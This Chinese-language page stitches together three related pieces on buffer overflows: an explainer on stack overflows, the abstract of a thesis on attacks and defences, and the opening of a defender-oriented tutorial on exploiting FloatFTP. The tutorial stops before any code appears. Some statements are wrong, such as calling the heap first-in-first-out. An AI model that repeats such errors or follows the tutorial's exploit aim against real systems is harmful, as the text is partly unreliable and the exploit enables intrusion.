缓冲区溢出漏洞 IBM软件研究院 缓冲区溢出漏洞,是一种在软件中最容易发生的漏洞。它发生的原理是,由于软件在处理用户数据时使用了不限边界的拷贝,导致程序内部一些关键的数据被覆盖,引发了严重的安全问题。 缓冲区指的是操作系统中用来保存临时数据的空间,一般分为栈和堆两种缓冲区类型。缓冲区溢出漏洞是一种非常普通、非常危险的漏洞,在各种操作系统、应用软件,甚至是Web应用程序中广泛存在。 利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。 在当前网络与操作系统安全中,50%以上的攻击都是来自于缓冲区溢出漏洞。而缓冲区溢出中,最为危险的是栈溢出,因为入侵者可以利用栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,然后为所欲为。 这里要澄清一个概念,很多人把缓冲区溢出称之为堆栈溢出漏洞,其实是错误的,堆溢出和栈溢出是两个不同的概念,都属于缓冲区溢出。 平时听说的缓冲区溢出大部分都是属于栈溢出。由于程序在实现的过程中,往往会自定义一些内存空间来负责接受或者存储数据,这些被直接定义的空间大小是有限的,因此当程序将过多的数据不经检查而直接放入这些空间中时,就会发生栈溢出。 栈溢出最为直接的危害是,这些被过量放进内存空间的数据会将函数的返回地址覆盖。“返回地址”的概念来自于CPU处理指令的结构设计。如果程序现在准备调用一个函数,CPU首先会将执行完这个函数后将要执行的指令地址存储到栈空间中,然后CPU开始执行函数,执行完毕,CPUCPU取出前面保存的指令地址,然后接着执行。这个“返回地址”是保存在栈空间中的,而程序一般定义的空间也是在栈中进行分配的,这就给了我们覆盖这个“返回地址”的机会。 栈是一个先进后出的空间,而堆则恰恰相反,是一个先进先出的空间。缓冲区溢出就是把这些空间装满后还继续往里面装。 但是对于一个软件来讲,危害可能不仅仅如此,用一个表来表示这个过程在栈溢出发生的时候,软件运行时内存中的情况。 正常: Lower Addresses buf2 buf1 var3 saved %EBP return address function()'s arguments saved %EBP

缓冲区溢出攻击的分析及防范策略

缓冲区溢出攻击的分析及防范策略 摘要 随着Internet及相关信息技术的迅速发展,网上的电子商务呈现出极大的增长势头,但是投入的增多意味着风险也随之而来,网络安全问题成为各种网上活动需要考虑的头等大事。本文重点探讨一下缓冲区溢出对计算机系统造成的危害。因为几十年来,缓冲区溢出一直引起许多严重的安全性问题。近年由CERT/CC(Computer Emergency Response Term/Coodination Center)发布的忠告中关于缓冲区溢出漏洞占56.76%以上。 本文首先解释了缓冲区溢出的概念,从程序语言本身存在缺陷,不够健壮的角度出发,对缓冲区溢出的原理进行了详细的阐述;再次,通过一个会导致缓冲区溢出的程序代码对缓冲区溢出攻击的产生进行了实例分析,同时还对Unix操作系统下的缓冲区溢出攻击进行了有针对性的分析,并总结出缓冲区溢出攻击的类型;最后,结合缓冲区溢出攻击的类型,从系统管理和软件开发两个角度提出了缓冲区溢出攻击的防范策略。 关键字:缓冲区溢出攻击 Abstract With the development of Internet and information technology, the great growth has appeared out in E-Commerce. But this trend lead to more venture, network security issue has become the cardinal task that various kinds of online activity need to consider. At present, the biggest problem on network is that computer software is usually not stalwart enough, sometimes such barrier will cause catastrophic result, especially when being utilized maliciously by the lawless person, the harm will hard to estimate. Buffer overflow attacking is a seriously problem in network security and cause serious security problems in recently years. Some program language have pestilent bug, for example, C program language doesn‘t check the border of the array of number is apt to cause the buffer overflow, and therefore possibly cause the failure of program processing and paralysis of computer. This paper analysis deeply the principle and possible of buffer overflow attacking, and point out buffer overflow‘s potential dangers. At last, according to the kinds of buffer overflow a ttacking, I put forward my own opinion of precautionary measures on buffer overflow attacking. Key Words: buffer overflow attacking 一缓冲区与出的概念及原理 1.1何谓缓冲区溢出 缓冲区是用户为程序运行时在计算机中申请得的一段连续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。

理解缓冲区溢出漏洞的利用

理解缓冲区溢出漏洞的利用 在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。 在研究和学习教程后,一些概念和工具开始变得不那么令人困惑了,并且逐渐能够明白一些细节了。然后,我开始在实验室现有已掌握可重建的应用程序中,寻找简单的缓存漏洞。只有在不断地实验,各种概念会一个个出现————整个进程,无论是独立的部分还是整体————都会一点点呈现出来。 本教程将会为防御者描述一些基本概念,包括一个攻击者经历漏洞开发过程,需要的工作量和攻击者将要面对的编写恶意代码攻击特定漏洞的风险。 如今的攻击者既有决心也有技术,并且知道对于负责计算机和网络的人来说什么实际操作是最关键的,防御者对敌人的动机和技术了解的越多,他就越容易制定有效的防御措施。 我要经历几个漏洞挖掘的阶段的才能找到一个有效漏洞,首先,我们会fuzz我们的目标应用程序,通过一个有趣的方式使它崩溃,通过Immunity debugger来监控崩溃的过程,在Windows系统的内存中找到最易受攻击的溢出的shellcode。随后,我们将要创造一个漏洞来传递shellcode,从而攻击远程系统。 需要的软件/设置 ?攻击系统:Backtrack Linux(我用的R3) ?开发/受害系统:Windows xp sp3英文版 ?Immunity debugger:安装在Windows xp系统上 ?FloatFTP:我们要利用的应用程序 让我们正是开始吧! Fuzzing “Fuzzing”是发送无效或畸形的、过多的和随机数据到计算机程序试图使系统崩溃或出现意想不到现象的测试手段。Fuzzing用于测试系统和程序的安全。 双击float FTP来执行开始:

相关主题